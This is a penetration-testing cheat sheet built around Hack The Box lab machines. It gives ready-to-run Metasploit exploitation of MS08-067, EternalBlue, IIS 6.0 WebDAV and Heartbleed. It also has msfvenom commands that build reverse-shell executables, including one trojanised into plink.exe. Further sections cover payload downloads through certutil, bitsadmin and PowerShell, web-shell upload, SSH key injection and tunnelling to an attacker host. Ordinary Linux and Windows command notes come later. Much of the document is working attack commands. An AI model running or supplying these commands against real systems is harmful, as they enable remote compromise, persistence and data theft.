{% embed url="<https://tools.kali.org/password-attacks/ncrack>" %}


# Exploit


# Search Exploit

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M6VLN5T0ZCGuwTmaBB8%2F-M6Y7U27UdjWeNCih4Hq%2Fsearchsploit.png?alt=media\&token=7bc2cfe2-aeb0-4840-a319-950503a49828)

```
searchsploit -t IIS 6.0

searchsploit -p 39166
```

{% embed url="<https://www.hackingarticles.in/comprehensive-guide-on-searchsploit/>" %}


# Attacks

## HTTPS (443/tcp)

### Heartbleed

{% embed url="<https://owasp.org/www-community/vulnerabilities/Heartbleed_Bug>" %}

{% embed url="<https://heartbleed.com/>" %}

> The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.

#### **Scan**

NSE Script

```
nmap --script vuln -oA vulnscan 10.10.10.79 -p443
```

SSLyze

```
sslyze --heartbleed 10.10.10.79
```

{% embed url="<https://tools.kali.org/information-gathering/sslyze>" %}

#### **Exploit**

```
python heartbleed.py 10.10.10.79
```

<https://gist.github.com/eelsivart/10174134>

## Web (80/tcp)

### Shellshock

{% embed url="<https://seclists.org/oss-sec/2014/q3/650>" %}

{% embed url="<https://pentesterlab.com/exercises/cve-2014-6271/course>" %}

#### **Scan**

```
root@kali:~# locate -r '\.nse$' | grep -i shellshock
/usr/share/nmap/scripts/http-shellshock.nse

nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56
```

#### Exploit

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M6O7tJEuZY2G_Obv9zw%2F-M6O8t1RPLmfVVD7AwWq%2Fshellshock.png?alt=media\&token=97acade8-a0fb-46a0-b592-9cf409c082e0)

### Microsoft IIS 6.0 (CVE:2017-7269)

{% embed url="<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269>" %}

> Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: \<http\://" in a PROPFIND request, as exploited in the wild in July or August 2016.

{% embed url="<https://github.com/danigargu/explodingcan>" %}

```
msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.21 LPORT=4444 >shellcode

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.10.14.5
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

python explodingcan.py http://10.10.10.14 shellcode
```

You can test it on Hack the box "Grandpa":\
&#x20;\- OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition\
&#x20;\- OS Version: 5.2.3790 Service Pack 2 Build 3790\
&#x20;\- Hotfix(s): N/A

## SMB (139,445)

### MS08-067

{% embed url="<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067>" %}

#### Metasploit

{% embed url="<https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi>" %}

> This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) > set rhost 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) > set lhost 10.10.14.21
msf exploit(windows/smb/ms08_067_netapi) > run
```

You can test it on Hack the box "Legacy":\
&#x20;\- OS Name: Microsoft Windows XP Professional\
&#x20;\- OS Version: 5.1.2600 Service Pack 3 Build 2600\
&#x20;\- Hotfix(s): Q147222

### MS17-010

{% embed url="<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010>" %}

#### Manual

{% embed url="<https://github.com/helviojunior/MS17-010>" %}

```
git clone https://github.com/helviojunior/MS17-010
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.21 LPORT=4444 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe
nc -nlvp 4444
python send_and_execute.py 10.10.10.4 ../shell.exe
```

You can test it on Hack the box "Legacy":\
&#x20;\- OS Name: Microsoft Windows XP Professional\
&#x20;\- OS Version: 5.1.2600 Service Pack 3 Build 2600\
&#x20;\- Hotfix(s): Q147222

#### Metasploit

{% embed url="<https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue>" %}

> This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.

```
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set lhost tun0
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
```

You can test it on Hack the box "Blue":\
&#x20;\- OS Name: Microsoft Windows 7 Professional\
&#x20;\- OS Version: 6.1.7601 Service Pack 1 Build 7601\
&#x20;\- Hotfix(s): 200 Hotfix(s) Installed. \[01]: KB2849697 \[02]: KB2849696 \[03]: KB2841134


# Paylaod


# Msfvenom

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M6G5gqO4VvhohFFsFeV%2F-M6G6PsGaChKqfm0jQCk%2FMSFvenom1.jpg?alt=media\&token=48fcb5c1-7b8d-4753-a708-cafb996f2e4a)

### Command Options

```
-p, --payload: Payload to use. Specify a '-' or stdin to use custom payloads
-b, --bad-chars: The list of characters to avoid
-f, --format: Output format
-a, --arch: The architecture to use
--platform: The platform of the payload
-v, --var-name: Specify a custom variable name to use for certain output formats
-e, --encoder: The encoder to use
```

{% embed url="<https://www.offensive-security.com/metasploit-unleashed/msfvenom/>" %}

### Examples of Usage

```
msfvenom -l payloads | grep x86
# List paylaods

msfvenom -p windows/shell_reverse_tcp --list-options
# Display paylaod options 

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.11.0.75 LPORT=4444 -f asp -o tcp_shell.asp

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.11.0.75 LPORT=1234 -f exe -o tcp_shell.exe

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -o shell_reverse.exe

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
#PEファイルへのinjection

msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=443 -f exe -o met_https_reverse.exe
```

### List of commonly used payloads

```
<Staged>
windows/shell/reverse_tcp  
windows/x64/shell/reverse_tcp
windows/meterpreter/reverse_tcp 
windows/x64/meterpreter/reverse_tcp

<Stageless>
windows/shell_reverse_tcp
windows/x64/shell_reverse_tcp
windows/meterpreter_reverse_tcp 
windows/x64/meterpreter_reverse_tcp
```

### Staged vs Stageless payloads

> Staged payloads are denoted with the use of a forward slash (**/**; e.g. **windows/shell/reverse\_tcp**). Staged payloads send a small stager to the target, which connects back to the attacker and downloads the rest of the payload. Therefore, staged payloads need special payload listeners, such as **multi/handler** in Metasploit. Staged payloads are ideal in situations where you have limited shellcode space, most commonly in Buffer Overflows (but that’s a story for another day)
>
> Stageless payloads are denoted with the use of an underscore (**\_**; e.g. **windows/shell\_reverse\_tcp**). Stageless payloads send the entire payload to the target at once, and therefore don’t require the attacker to provide more data. That means we have a variety of listeners we can use, such as Netcat. Find out how to set up a listener using Netcat/Ncat in my post [here](https://medium.com/@PenTest_duck/offensive-netcat-ncat-from-port-scanning-to-bind-shell-ip-whitelisting-834689b103da?source=friends_link\&sk=774174bfcb283864cf4468d2db460d0e).

{% embed url="<https://medium.com/@PenTest_duck/offensive-msfvenom-from-generating-shellcode-to-creating-trojans-4be10179bb86>" %}

### Link

{% embed url="<https://www.hackingarticles.in/msfvenom-tutorials-beginners/>" %}

{% embed url="<https://www.hackingarticles.in/generating-reverse-shell-using-msfvenom-one-liner-payload/>" %}

{% embed url="<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>" %}

{% embed url="<https://netsec.ws/?p=331>" %}


# File Transfer

## Download

### HTTP Server with Python

```
python3 -m http.server 80
python2 -m SimpleHTTPServer 80
```

### Curl

```
curl -O http://host/file
```

### Powershell

```
powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.17/nc.exe','c:\temp\nc.exe')

powershell.exe -c (Start-BitsTransfer -Source "http://10.10.14.17/nc.exe -Destination C:\temp\nc.exe")

powershell.exe wget "http://10.10.14.17/nc.exe" -outfile "c:\temp\nc.exe"
```

### Cetutil

```
certutil.exe -urlcache -split -f "http://10.10.14.17/nc.exe" c:\temp\nc.exe
```

### Bitsadmin

```
bitsadmin /transfer job /download /priority high http://10.10.14.17/nc.exe c:\temp\nc.exe
```

### Netcat

```
Attacker:
  nc -lvnp 443 < evil.php

Victim:
  nc -v 192.168.42.42 443 > evil.php
```

### SMB&#x20;

```
Attacker:
    python smbserver.py share .
Victom:
    copy \\10.10.14.21\share\whoami.exe .
```

### SCP

```
Attacker:
    scp charix@10.10.10.84:secret.zip ./

scp -r user@targetIP:/path/to/share /local/share
# remote to local
```

## Upload

### Curl

```
curl --upload-file shell.php --url http://$ip/shell.php --http1.0

scp /path/to/local/file.txt user@targetIP:/path/to/share
# local to remote
```

## Link

{% embed url="<https://isroot.nl/2018/07/09/post-exploitation-file-transfers-on-windows-the-manual-way/>" %}


# Port Forwarding

## SSH Local Port Forwarding

```
ssh  -L 6999:localhost:5901 user@192.168.1.3

user@192.168.1.3 = SSH host to connect to
-L = Option to enable local port forwarding
6999 = Port on the client PC
localhost = Host server to connect to (the remote PC, same as 127.0.0.1)
5901 = Port on the remote host (forwarded from the client PC)
```

{% embed url="<https://cects.com/ssh-local-and-remote-port-forwarding-with-vnc/>" %}

> Local port forwarding – A port from the client PC is forwarded to the remote PC. A connection to this port enables data to be sent bidirectionally over the SSH connection between the client and remote PC.

![](https://2774131807-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M64VB6Sr653y4KPdauj%2F-M6KgVYHU8iJpCHih1tP%2F-M6Ld12maf1nJ3_gsn-Y%2FLocalPortForwarding1.png?alt=media\&token=dfb9412f-1f72-425d-811f-1be61d90cf48)

#### SSH: Dynamic Port Forwarding

```
# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER
```

#### SSH: Remote Port Forwarding

```
# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP
```

#### Proxy Tunnel

```bash
# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
ssh user@127.0.0.1 -p 5555
```

#### HTTP Tunnel: SSH Over HTTP

```bash
# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
hts -F localhost:22 80

# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80
htc -F 8080 192.168.1.15:80

# Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22
ssh localhost -p 8080
```

#### Netsh - Windows Port Forwarding

```bash
# requires admin
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
```

###


# Service Login and Interaction

### SSH

### Telnet

### Netcat

### VNC

```
vncviewer 127.0.0.1:6999 -passwd secret
```

### PsExec

### RDP

### POP3

### MySQL


# Linux Commands

{% embed url="<https://explainshell.com/>" %}

### Grep

```
<Command Options>
-o, --only-matching: Print only the matched (non-empty) parts of a matching line, with each such part on a separate output line.
-P, --perl-regexp: Interpret the pattern as a Perl-compatible regular expression (PCRE). 
-v, --invert-match: Invert the sense of matching, to select non-matching lines.
-r, --recursive: Read all files under each directory, recursively, following symbolic links only if they are  on  the  command  line.
-l, --files-with-matches: Suppress  normal  output;  instead  print  the  name  of  each input file from which output would normally have been printed.

<Examples of Usage>
#Selected lines are those not matching any of the specified patterns.
grep -v ‘keyword’ test.txt

#Print only the mached parts with regular expression
grep -oP '\d{1,5}/open' allports.gnmap | sort -u

# 特定のキーワードを含まない行を表示
grep -v ‘keyword’ test.txt

# 検索したい文字列を含むファイルを表示
grep <keyword> -rl <path>
```

### Sort

```
<Command Options>
-u, --unique: output only the first of an equal run

<Examples of Usage>
#Print only the mached parts with regular expression and make each line unique
grep -oP '\d{1,5}/open' allports.gnmap | sort -u
```

### Wget

```
# 指定したURLからのファイルダウンロード
wget -O <url>

# 指定したURLからの再起的のファイルダウンロード
wget -r <url> 

# 証明書の確認せずにコンテンツを取得
wget <url> --no-check-certificate
```

### Sed

```
<Command Options>

<Examples of Usage>
#Selected lines are those not matching any of the specified patterns.

cat srcip_area.csv | sed 's/"//g' |sed 's/,/ /g' | awk '{print $3, $4$5}' | awk '{arr[$1]+=$2} END {for (i in arr) {print i,arr[i]}}' | sort -nrk 2

cat file.txt | sed -e "s/<instance to find>/<instance to replace it with>/g" > output.txt

```

### Awk

```
* 「cat access_log | grep bullet.gif | awk -F'"' '{print $1 $4}’」
    * -F’”'よりデリミターを指定して、文字を取得
* 「ls -lt | awk '$5>1000 {print $0}'」
    * ファイルの容量が1000bytes以上の行のみを表示
* 「ls /Applications | awk 'length($0)>13{print}'」
    * 長さが13を超える行数のみを表示
* 「cat access_log | awk '$9 == "404"{print $1}' | sort | uniq | wc -l」
    * Awk のマッチング
* 「lsof -nPi | awk '/LISTEN/‘」
* 「ifconfig en1 | awk '/inet/{print substr($2,5,3)}'」
    * print substr（$2, 開始文字位置, 切り取り文字数）
* 「# ps -ef | awk '/sshd/ && !($3 == 1 || /sshd: hal[@ ]/) {print $2}'」
    * &&条件
```

### Tr

```
* 「cat /etc/shells/ | tr a-z A-Z」
    * 小文字を大文字に変換
* 「cat /etc/shells/ | tr -d ‘d’」
    * dを削除
* 「ls -l | tr -s ' ' ‘,'」
    * 連続したスペースを,に変換
* 「ls -l | tr -s ' ' '\t' | cut -f 1,5,9-」
```

### Tar

```
圧縮：tar cvzf tgzファイル名 圧縮対象ディレクトリ
解凍：ar xvzf tgzファイル名
```

### Ps

```
charix@Poison:~ % ps -auwwx

-a: list the processes of all users on the system
-u: provide detailed information about each process
-x: list processes that have no controlling terminal, such as daemons
-ww: Wide output with unlimited width
```

### Find

```
<Command Options>
-name pattern: True if the last component of the pathname being examined matches pattern.
-type t: True if the file is of the specified type.
             b block special
             c       character special
             d       directory
             f       regular file
             l       symbolic link
             p       FIFO
             s       socket
-iname pattern: Like -name, but the match is case insensitive.
-exec command: Execute command
 

<Examples of Usage>
find / -name .DS_Store > filelist.txt 2> errlist.txt
# 標準出力と標準エラー出力をそれぞれリダイレクトするfind [検索対象フォルダのパス] 

-type f -name "[検索したい文字列]"
# 指定フォルダを配下を再帰的検索

find / -name example.txt 2>/dev/null
# 標準エラー出力を捨てる

find . -name "*.php" -type f -exec chmod 755 {} \;

find / -perm -o+w -type d
# Show all world readable directories

find / -perm -o+e -type d
# Show all world executable directories

find / -perm -1000 -type d 2>/dev/null
# Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null
# SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null
# SUID (chmod 4000) - run as the owner, not the user who started it.
```

### Cut

```
```

### Kill

```
kill -9 $PID
```

### Sudo

```
<Command Options>
-l, --list: list user's privileges or check a specific command; use twice for longer format
-u, --user=user: run command (or edit file) as specified user name or ID

<Examples of Usage>
sudo -l

sudo -u scriptmanager bash
# execute command as specified user
```

### Extracting archives

```
tar xvfj test.tar.bz2
tar zxvf test.tar.gz
tar zxvf test.tar
gzip -d test.gz
unzip test.zip
zcat rockyou.txt.gz > rockyou.txt
```

### Compressing archives

```
tar -zcvf test.tar test
gzip test
zip -9 test.zip test
zip -r test.zip test/
```

### Copy files remotely

```
scp /path/to/local/file.txt user@targetIP:/path/to/share # local to remote
scp -r user@targetIP:/path/to/share /local/share # remote to local
cat ~/.ssh/id_rsa.pub | ssh user@targetIP 'cat >> .ssh/authorized_keys'
```

## Bash

### for

```
for i in $(seq 0 12); do echo -n '|base64 -d';done
|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d
```


# Powershell

```
Get-Process notepad | Stop-Process -Force
# Kill process

$p = Get-Process notepad
$p | gm -foce
# Explore the methods and properties for an object
$p.CloseMainWindows
# Call specific function

```

#### Grep

```
Select-String -Path "audit.log" -Pattern "logon failed" -Context 2, 3
# display lines before /after match
```


# CMD

### Where

```
<Command Options>
/R: Recursively searches and displays the files that match the given pattern starting from the specified directory.

<Examples of Usage>
where /r . *.pdf
# search files recursively
```

### Dir

```
<Command Options>
/B: Uses bare format (no heading information or summary).
/S: Displays files in specified directory and all subdirectories.

<Examples of Usage>
dir /b /s "directoryname"
# search directories recursively
```

### Findstr

```
<Examples of Usage>
findstr /s /d:c:\windows /m mp3 *
# Look in C:\windows and its subdirectories for all files that contain the string "mp3"

```


# Python

#### Upgrade Shell to fully interactive

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

#### HTTP Server

```
python3 -m http.server 80
python2 -m SimpleHTTPServer 80
```


# Editor: Vi & Tmux

### Sed

```
22/open
25/open
80/open
110/open
119/open
4555/open
~                                                                               
:%s/\/ope//g
```

```
110n
119n
22n
25n
4555n
80n
~                                                                               
:%s/n\n/,/g
```

```
cat ports.lst 
110,119,22,25,4555,80,
```


# Metasploit

```
```

{% embed url="<https://tools.kali.org/exploitation-tools/metasploit-framework>" %}

{% embed url="<https://www.hackingarticles.in/metasploit-tutorial-beginners/>" %}

{% embed url="<https://www.hackingarticles.in/metasploit-tutorial-beginners-2/>" %}

{% embed url="<https://www.hackingarticles.in/sessions-command-metasploit/>" %}

{% embed url="<https://www.hackingarticles.in/fun-metasploit-payloads/>" %}


# Powershell Empire


